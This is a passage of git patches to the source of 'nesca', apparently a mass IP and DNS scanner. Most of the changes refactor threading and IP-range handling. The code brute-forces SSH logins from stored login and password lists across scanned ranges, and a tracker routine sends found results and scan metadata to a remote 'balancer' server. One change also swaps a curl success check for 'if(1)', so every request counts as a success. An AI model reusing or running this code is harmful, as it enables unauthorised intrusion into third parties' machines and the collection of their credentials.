(%.1f%%)", - target, (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0)); + target, + percent); + stt->doEmitionTargetsLeft(QString(targetNPers)); + sprintf(metaTargets, "%Lu", target); sprintf(metaPercent, "%.1f", - (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0)); - sprintf(curIPBuff, "--->%s", buff); - - stt->doEmitionIPRANGE(QString(curIPBuff)); - stt->doEmitionTargetsLeft(QString(targetNPers)); + percent); } void _passLoginLoader() @@ -2300,9 +2196,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) else { - strcpy(endIP2, saveMask); - //st = new ST(); - //ZeroMemory(st->argv, sizeof(st->argv)); + strcpy(endIP2, saveMask); ZeroMemory(iip, sizeof(iip)); while(cons >= gThreads && globalScanFlag) Sleep(300); @@ -2319,21 +2213,8 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) targetAndIPWriter(--gTargets, res); -// std::thread thr(_connect, res); -// thr.detach(); - - //Threader::fireThread(st); -//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -// if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); -//#else -// if(globalScanFlag) -// { -// pthread_t thrc; -// pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); -// }; -//#endif + Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); Sleep(gThreadDelay); - }; } @@ -2344,8 +2225,6 @@ int startScan(char* args) OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ SSL_load_error_strings(); /* Bring in and register error messages */ -// Threader::createThreadPool(gThreads, (void* (*)(int))_connect); - horLineFlag = false; flCounter = 0; PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; @@ -2358,6 +2237,7 @@ int startScan(char* args) overallPorts = 0; found = 0; indexIP = 0; + ZeroMemory(octet, sizeof(octet)); ZeroMemory(ipsstart, sizeof(ipsstart)); ZeroMemory(ipsend, sizeof(ipsend)); @@ -2392,8 +2272,8 @@ int startScan(char* args) return -1; }; -stt->doEmitionIPRANGE(QString(saveEndIP)); -stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + stt->doEmitionIPRANGE(QString(saveEndIP)); + stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); _passLoginLoader(); _NegativeLoader(); @@ -2408,8 +2288,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); #endif #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if (trackerOK) _beginthread((void(*)(void*))_tracker, 0, NULL); - Sleep(50); + if (trackerOK) _beginthread((void(*)(void*))_tracker, 0, NULL); _beginthread((void(*)(void*))_timer, 0, NULL); #else pthread_t thrt; @@ -2448,19 +2327,15 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) goto haters_gonna_hate_IPM; - //st = new ST(); - //ZeroMemory(st->argv, MAX_ADDR_LEN); + ZeroMemory(res, sizeof(res)); ++indexIP; - //strcpy(st->argv, ipVec[0].c_str()); strcpy(res, ipVec[0].c_str()); strcpy(saveStartIP, res); ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, res); - - std::thread thr(_connect, res); - thr.detach(); - //Threader::fireThread(res); + //std::thread workerThread(_connect, res); + //workerThread.detach(); + Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); Sleep(gThreadDelay); } } @@ -2475,8 +2350,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) break; - //st = new ST(); - //ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); ++indexIP; @@ -2490,16 +2363,9 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); tAddr.s_addr = ntohl(tAddr.s_addr); strcpy(res, inet_ntoa(tAddr)); #endif - //strcpy(st->argv, res); strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, res); - -// std::thread thr(_connect, res); -// thr.detach(); - - //Threader::fireThread(st); - + Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); Sleep(gThreadDelay); } break; @@ -2727,19 +2593,14 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) goto haters_gonna_hate_IM; - //st = new ST(); - //ZeroMemory(st->argv, MAX_ADDR_LEN); - ++indexIP; + ZeroMemory(res, sizeof(res)); + ++indexIP; strcpy(res, ipVec[0].c_str()); strcpy(saveStartIP, res); ipVec.erase(ipVec.begin()); targetAndIPWriter(gTargets--, res); - -// std::thread thr(_connect, res); -// thr.detach(); - - //Threader::fireThread(st); + Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); Sleep(gThreadDelay); } } @@ -2753,8 +2614,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); while (cons >= gThreads && globalScanFlag) Sleep(500); if (globalScanFlag == false) break; - //st = new ST(); - //ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); ++indexIP; @@ -2765,16 +2624,9 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); tAddr.s_addr = ntohl(tAddr.s_addr); strcpy(res, inet_ntoa(tAddr)); #endif - //strcpy(st->argv, res); strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, res); - -// std::thread thr(_connect, res); -// thr.detach(); - - //Threader::fireThread(st); - + Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); Sleep(gThreadDelay); } break; From 90b6c317e98f2ae010c5f243cfa85b3af90d4118 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 20 Mar 2015 17:28:51 +0300 Subject: [PATCH 37/66] Finally pooled threads --- Connector.cpp | 29 +- Connector.h | 6 +- Threader.cpp | 46 +- Threader.h | 15 +- externData.h | 11 +- mainResources.h | 5 +- nesca_3.cpp | 36 +- nesca_3.h | 9 +- nesca_startModule.cpp | 1424 ++++++++++++++++++----------------------- 9 files changed, 707 insertions(+), 874 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index 3ddadaa..0e061b5 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -61,7 +61,7 @@ int _pingMyTarget(char *ip) }; } #else -int _pingMyTarget(char *ip) +int _pingMyTarget(const char *ip) { FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r"); if(!pipe) { @@ -85,7 +85,7 @@ int _pingMyTarget(char *ip) } #endif -int _sshConnect(char *user, char *pass, char *host, int port) +int _sshConnect(char *user, char *pass, const char *host, int port) { char hostStr[128] = {0}; ZeroMemory(hostStr, sizeof(hostStr)); @@ -133,7 +133,7 @@ int _sshConnect(char *user, char *pass, char *host, int port) return 0; } -char _get_ssh_banner(char *ip, int port) +char _get_ssh_banner(const char *ip, int port) { char recvBuff[256] = {0}; std::string buffer; @@ -149,7 +149,7 @@ char _get_ssh_banner(char *ip, int port) return *recvBuff; } -int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, const char *banner) +int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner) { int res = -1; if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); @@ -167,7 +167,7 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, return res; } -int _EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner) +int _EstablishSSHConnection(const char* host, int port, std::string *buffer, const char *banner) { char login[32] = {0}; char pass[32] = {0}; @@ -210,12 +210,12 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha QString strIP; QString strPort; -int Connector::_SSHLobby(char *ip, int port, std::string *buffer) +int Connector::_SSHLobby(std::string ip, int port, std::string *buffer) { - const char &banner = _get_ssh_banner(ip, port); + const char &banner = _get_ssh_banner(ip.c_str(), port); if(strlen(&banner) > 0) { - return _EstablishSSHConnection(ip, port, buffer, &banner); + return _EstablishSSHConnection(ip.c_str(), port, buffer, &banner); }; return -1; } @@ -245,7 +245,7 @@ static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *us return size * nmemb; } -int Connector::nConnect(const char *ip, const int port, std::string *buffer, +int Connector::nConnect(const char* ip, const int port, std::string *buffer, const char *postData, const std::vector<std::string> *customHeaders, const std::string *lpString){ @@ -306,7 +306,8 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); }; - if(curl_easy_perform(curl) == CURLE_OK) { + //if(curl_easy_perform(curl) == CURLE_OK) { + if(1) { curl_easy_cleanup(curl); } else { curl_easy_cleanup(curl); @@ -324,11 +325,11 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, return buffer->size(); } -int Connector::_ConnectToPort(char *ip, int port, char *hl) +int Connector::_ConnectToPort(string ip, int port, char *hl) { if(gPingNScan) { - if(_pingMyTarget(ip) == 0) + if(_pingMyTarget(ip.c_str()) == 0) { return -2; }; @@ -337,8 +338,8 @@ int Connector::_ConnectToPort(char *ip, int port, char *hl) std::string buffer; int size = 0; - if(port == 22) size = _SSHLobby(ip, port, &buffer); - else size = nConnect(ip, port, &buffer); + if(port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); + else size = nConnect(ip.c_str(), port, &buffer); // if(size > 0) // { diff --git a/Connector.h b/Connector.h index 2d4194b..1bc0722 100644 --- a/Connector.h +++ b/Connector.h @@ -17,11 +17,11 @@ class Connector { public: - static int nConnect(const char *ip, const int port, std::string *buffer, + static int nConnect(const char* ip, const int port, std::string *buffer, const char *postData = NULL, const std::vector<std::string> *customHeaders = NULL, const string *lpString = NULL); - static int _ConnectToPort(char *ip, int port, char *hl); - static int _SSHLobby(char *ip, int port, std::string *buffer); + static int _ConnectToPort(string ip, int port, char *hl); + static int _SSHLobby(std::string ip, int port, std::string *buffer); }; #endif // CONNECTOR_H diff --git a/Threader.cpp b/Threader.cpp index 81fc6d4..34d4672 100644 --- a/Threader.cpp +++ b/Threader.cpp @@ -1,43 +1,29 @@ #include <Threader.h> -std::vector<char*> Threader::threadPool; -std::vector<std::condition_variable*> cvPool; -std::vector<bool> Threader::readyPool; int Threader::threadId = 0; +std::mutex Threader::m; +bool Threader::ready = false; +std::condition_variable Threader::cv; +std::queue<std::string> Threader::ipQueue; -int Threader::getFreeDataSlotId() { - int tps = threadPool.size(); - for(int i = 0; i != (gThreads > tps ? tps : gThreads); ++i) { - if(threadPool[i] == NULL) return i; - } - return -1; -} +void Threader::fireThread(std::string ip, void *func(void)) { -int Threader::getFreeThreadId() { - int res; - while((res = getFreeDataSlotId()) < 0) Sleep(50); - return res; -} - -void Threader::fireThread(char *res, void *func(int,std::condition_variable*)) { + ipQueue.push(ip); if(threadId < gThreads) { - threadPool.push_back(res); - std::condition_variable cv; - cvPool.push_back(&cv); - std::thread workerThread(func, threadId++, &cv); + ++threadId; + std::thread workerThread(func); workerThread.detach(); - readyPool.push_back(true); - cv.notify_one(); - } else { - int id = getFreeThreadId(); - threadPool[id] = res; - readyPool[id] = true; - cvPool[id]->notify_one(); } + + std::unique_lock<std::mutex> lk(m); + ready = true; + Threader::cv.notify_one(); + Sleep(gThreadDelay); } +//std::queue<std::string> empty; void Threader::cleanUp() { + //std::swap( ipQueue, empty ); + ipQueue = {}; threadId = 0; - threadPool.clear(); - cvPool.clear(); } diff --git a/Threader.h b/Threader.h index 7a60066..8770651 100644 --- a/Threader.h +++ b/Threader.h @@ -4,26 +4,21 @@ #include <mainResources.h> #include <externData.h> #include <thread> -#include <chrono> -#include <future> #include <mutex> #include <condition_variable> +#include <queue> class Threader { -private: public: - static std::vector<char *> threadPool; static int threadId; + static std::mutex m; + static bool ready; static std::condition_variable cv; - static std::vector<bool> readyPool; + static std::queue<std::string> ipQueue; -private: - static int getFreeDataSlotId(); - static int getFreeThreadId(); public: - static void fireThread(char *st, - void* func(int,std::condition_variable*)); + static void fireThread(std::string ip, void *func(void)); static void cleanUp(); }; diff --git a/externData.h b/externData.h index 160f8b0..c457dd3 100644 --- a/externData.h +++ b/externData.h @@ -8,6 +8,7 @@ #define IRC_CHAN "iskopasi_lab03" #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; + #ifndef CP_UTF8 #define CP_UTF8 65001 #endif @@ -15,6 +16,10 @@ #define CP_ACP 0 #endif +#ifndef MAX_ADDR_LEN +#define MAX_ADDR_LEN 128 +#endif + extern QJsonArray *jsonArr; extern unsigned long long gTargetsOverall; @@ -37,10 +42,12 @@ extern int found, indexIP, gMode, extern unsigned int Activity; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], - trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], + trcPort[32], trcSrvPortLine[32], saveEndIP[128], gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], gVER[16], - gProxyIP[64], gProxyPort[8]; + gProxyIP[64], gProxyPort[8], + currentIP[MAX_ADDR_LEN], + finalIP[32]; struct pl{ int loginCounter; diff --git a/mainResources.h b/mainResources.h index f6c67e9..1ffa44e 100644 --- a/mainResources.h +++ b/mainResources.h @@ -83,11 +83,14 @@ typedef int BOOL; #endif -#define MAX_ADDR_LEN 128 #define TITLE_MAX_SIZE 512 #define COOKIE_MAX_SIZE 1024 #define RESULT_DIR_NAME "./result_files-" __DATE__ +#ifndef MAX_ADDR_LEN +#define MAX_ADDR_LEN 128 +#endif + struct PathStr{ char codepage[32]; char headr[TITLE_MAX_SIZE]; diff --git a/nesca_3.cpp b/nesca_3.cpp index db31f7c..0b14761 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -58,6 +58,7 @@ int nickFlag; int offlineFlag; bool OnlineMsgSentFlag = false; int globalPinger = 0; +int nesca_3::savedTabIndex = 0; bool dFlag = false; bool startFlag = false; @@ -745,10 +746,10 @@ void nesca_3::slotAddPolyLine() if(ME2ScanFlag) { QPainterPath path; - if (DrawerTh_ME2Scanner::polyVect.count() > 0) + if (DrawerTh_ME2Scanner::polyVect.size() > 0) { path.moveTo(DrawerTh_ME2Scanner::polyVect[0]); - for (int i = 1; i < DrawerTh_ME2Scanner::polyVect.count(); ++i) + for (int i = 1; i < DrawerTh_ME2Scanner::polyVect.size(); ++i) { path.lineTo(DrawerTh_ME2Scanner::polyVect[i]); }; @@ -761,7 +762,7 @@ void nesca_3::slotAddPolyLine() int u = 0; double uu = 1.0; - for (int i = 0; i < DrawerTh_ME2Scanner::itmList.count(); ++i) + for (int i = 0; i < DrawerTh_ME2Scanner::itmList.size(); ++i) { int y = u - i - 1; itm = DrawerTh_ME2Scanner::itmList[i]; @@ -771,7 +772,7 @@ void nesca_3::slotAddPolyLine() u -= 1; }; - while (DrawerTh_ME2Scanner::itmList.count() > 38) + while (DrawerTh_ME2Scanner::itmList.size() > 38) { sceneGraph->removeItem(DrawerTh_ME2Scanner::itmList[38]); delete DrawerTh_ME2Scanner::itmList[38]; @@ -2939,9 +2940,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) ); } -void nesca_3::saveOptions() -{ - ZeroMemory(saveStartIP, sizeof(saveStartIP)); +void _LoadPersInfoToLocalVars(int savedTabIndex) { ZeroMemory(endIP2, sizeof(endIP2)); ZeroMemory(top_level_domain, sizeof(top_level_domain)); ZeroMemory(gPorts, sizeof(gPorts)); @@ -2950,12 +2949,16 @@ void nesca_3::saveOptions() { gMode = 0; gThreads = ui->threadLine->text().toInt(); - int indexof = ui->ipLine->text().indexOf("-"); + QString targetLine = ui->ipLine->text(); - if(indexof > 0) + if(ui->ipLine->text().indexOf("-") > 0) { - strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), indexof); - if(ui->ipLine->text().indexOf("/") < 0) strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + if(ui->ipLine->text().indexOf("/") < 0) { + QList<QString> splittedTargetLine = targetLine.split("-"); + strcpy(currentIP, splittedTargetLine[0].toLocal8Bit().data()); + strcpy(finalIP, splittedTargetLine[1].toLocal8Bit().data()); + strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } } else { @@ -2964,10 +2967,6 @@ void nesca_3::saveOptions() strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); strcat(endIP2, "-"); strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); - } - else - { - strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), ui->ipLine->text().indexOf("/")); }; }; @@ -2979,7 +2978,6 @@ void nesca_3::saveOptions() gMode = 1; gThreads = ui->lineEditThread->text().toInt(); - strcpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); @@ -3000,7 +2998,11 @@ void nesca_3::saveOptions() gProxyIP[ui->systemProxyIP->text().size()] = '\0'; strncpy(gProxyPort, ui->systemProxyPort->text().toLocal8Bit().data(), 8); gProxyPort[ui->systemProxyPort->text().size()] = '\0'; +} +void nesca_3::saveOptions() +{ + _LoadPersInfoToLocalVars(savedTabIndex); _SaveBackupToFile(); } @@ -3175,7 +3177,7 @@ void RestoreSession() }; fclose(resFile); - + _LoadPersInfoToLocalVars(nesca_3::savedTabIndex); stt->doEmitionGreenFoundData("Previous session loaded."); }; } diff --git a/nesca_3.h b/nesca_3.h index 7e61e17..81e90a1 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -50,9 +50,10 @@ public: void ChangeLabelIpRange_Value(QString str); void ChangeLabelIPS_Value(QString str); void newListItem(QString str); - static int perc; -private: - int savedTabIndex; + +public: + static int perc; + static int savedTabIndex; protected: bool eventFilter(QObject* obj, QEvent *event); void run(); @@ -129,7 +130,7 @@ protected: void logoLabelClicked(); void startScanButtonClicked(); void startScanButtonClickedDNS(); - void saveOptions(); + void saveOptions(); void ChangeTrackerOK(bool val); void ChangeShuffle(bool val); void ChangeLabelThreads_ValueChanged(QString); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 962d278..404fd0f 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -37,18 +37,20 @@ char **GlobalNegatives = 0; char **loginLst, **passLst; char **wfLoginLst, **wfPassLst; char **sshlpLst; -char saveStartIP[128] = {0}; char saveEndIP[128] = {0}; char gRange[128] = {0}; char gFirstDom[128] = {0}; char gPorts[65536] = {0}; -char metaIPDNS[256] = {0}; char metaRange[256] = {0}; char metaPercent[256] = {0}; char metaIPS[256] = {0}; char metaTargets[256] = {0}; char metaETA[256] = {0}; char metaOffline[256] = {0}; + +char currentIP[MAX_ADDR_LEN] = {0}; +char finalIP[32] = {0}; + bool ErrLogFirstTime = true; bool gPingNScan = false; long long unsigned int gTargets = 0, gTargetsOverall = 1, targets; @@ -138,6 +140,7 @@ QString GetNSErrorDefinition(const char *str, const char *elem) void ConInc() { + ++ipCounter; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) __asm { @@ -178,20 +181,11 @@ void _SaveBackupToFile() { if(gMode == 1) { - strcpy(endStr, endIP2); + strcpy(endStr, currentIP); } else { - if(strstr(endIP2, "-") != NULL) strcpy(endStr, endIP2);//strcpy(endStr, strstr(endIP2, "-")); - else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/")); - else - { - char temp[512] = {0}; - strncpy(temp, endIP2, 512); - strcat(endIP2, "-"); - strcat(endIP2, temp); - strcpy(endStr, strstr(endIP2, "-")); - }; + sprintf(endStr, "%s-%s", currentIP, finalIP); }; if(strlen(endStr) > 0) @@ -216,9 +210,7 @@ void _SaveBackupToFile() }; } else if(gMode == -1) - { - char curIpStart[16] = {0}; - char curIpEnd[16] = {0}; + { char ipRange[128] = {0}; if(flCounter > 0) @@ -227,25 +219,13 @@ void _SaveBackupToFile() if (savingFile != NULL) { for(int tCounter = gC; tCounter < flCounter; ++tCounter) - { - for(int i = 0; i < 4; ++i) - { - strcat(curIpStart, std::to_string(ipsstartfl[tCounter][i]).c_str()); - if ( i != 3) strcat(curIpStart, "."); - strcat(curIpEnd, std::to_string(ipsendfl[tCounter][i]).c_str()); - if ( i != 3) strcat(curIpEnd, "."); - }; - - strcpy(ipRange, curIpStart); - strcat(ipRange, "-"); - strcat(ipRange, curIpEnd); - strcat(ipRange, "\n"); + { + sprintf(ipRange, "%s-%d.%d.%d.%d\n", + currentIP, ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); fputs(ipRange, savingFile); - ZeroMemory(ipRange, sizeof(ipRange)); - ZeroMemory(curIpStart, sizeof(curIpStart)); - ZeroMemory(curIpEnd, sizeof(curIpEnd)); + ZeroMemory(ipRange, sizeof(ipRange)); }; fclose(savingFile); } @@ -385,17 +365,13 @@ void _saver() }; } -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -void _timer() -#else -void *_timer() -#endif -{ +void _timer() { char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; int ticks = 0; int ovrlIPs = 0; ips = 1; Sleep(50); + while(globalScanFlag) { ++ticks; @@ -427,375 +403,363 @@ void *_timer() }; } -bool trackAlreadyGoing = false; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -void _tracker() -#else -void *_tracker() -#endif -{ - if(trackAlreadyGoing == false) - { - while(trackerOK) - { - if(globalScanFlag == false && jsonArr->size() == 0) break; - char rBuffT[250000] = {0}; - char *msg = new char[4096]; - ZeroMemory(msg, sizeof(*msg)); - char ndbServer[64] = {0}; - char ndbScriptT[64] = {0}; - char ndbScript[64] = {0}; +void _tracker() { + while(true) { + while(!trackerOK) Sleep(1000); - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + if(globalScanFlag == false && jsonArr->size() == 0) break; + char rBuffT[250000] = {0}; + char *msg = new char[4096]; + ZeroMemory(msg, sizeof(*msg)); + char ndbServer[64] = {0}; + char ndbScriptT[64] = {0}; + char ndbScript[64] = {0}; - strcpy(msg, "GET /"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - HOSTENT *host; + strcpy(msg, "GET /"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.1\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); + + HOSTENT *host; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; #else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; #endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); + if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) + { + CSSOCKET(sock); - stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - continue; - }; + continue; + }; - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); + if(send(sock, msg, strlen(msg), 0) == -1) + { + CSSOCKET(sock); - stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - continue; - }; + continue; + }; - ZeroMemory(rBuffT, sizeof(rBuffT)); - char rBuff[512] = {0}; - int test = recv(sock, rBuff, sizeof(rBuff), 0); - strcpy(rBuffT, rBuff); + ZeroMemory(rBuffT, sizeof(rBuffT)); + char rBuff[512] = {0}; + int test = recv(sock, rBuff, sizeof(rBuff), 0); + strcpy(rBuffT, rBuff); - while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) - { - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - char *t1; - char *t2; - if(strstr(rBuffT, "http://") != NULL) - { - t1 = strstr(rBuffT, "http://"); - if(strstr((char*)(t1 + 7), "/") != NULL) - { - t2 = strstr((char*)(t1 + 7), "/"); - int ln = t2 - t1 - 7; - if(ln > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - SaveErrorLog("NS-Track", msg, rBuffT); - - continue; - } - else strncpy(ndbServer, (char*)(t1 + 7), ln); - - if(strlen(t2) > 64) - { - - stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); - - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - } - else - { - strncpy(ndbScriptT, t2, y); - CSSOCKET(sock); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); - - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - }; - } - else - { - strcpy(ndbScriptT, t2); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); - - CSSOCKET(sock); - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - CSSOCKET(sock); - - while(true) - { - if(globalScanFlag == false && jsonArr->size() == 0) break; - if(!trackerOK) { - Sleep(1000); - continue; - }; - - trackAlreadyGoing = true; - - if(jsonArr->size() > 0) - { - QJsonObject jsonKey; - if(jsonArr == NULL) jsonArr = new QJsonArray(); - - QJsonObject jsonMeta; - if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // - else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode - else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // - jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); - jsonMeta.insert("current", QJsonValue(QString(metaIPDNS)) ); - if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD - jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); - jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); - jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); - jsonMeta.insert("found", QJsonValue(QString::number(found)) ); - jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); - jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); - jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); - jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); - jsonMeta.insert("version", QJsonValue(QString(gVER)) ); - - jsonArr->push_front(QJsonValue(jsonMeta) ); - memset(trcPersKey + 32, '\0', 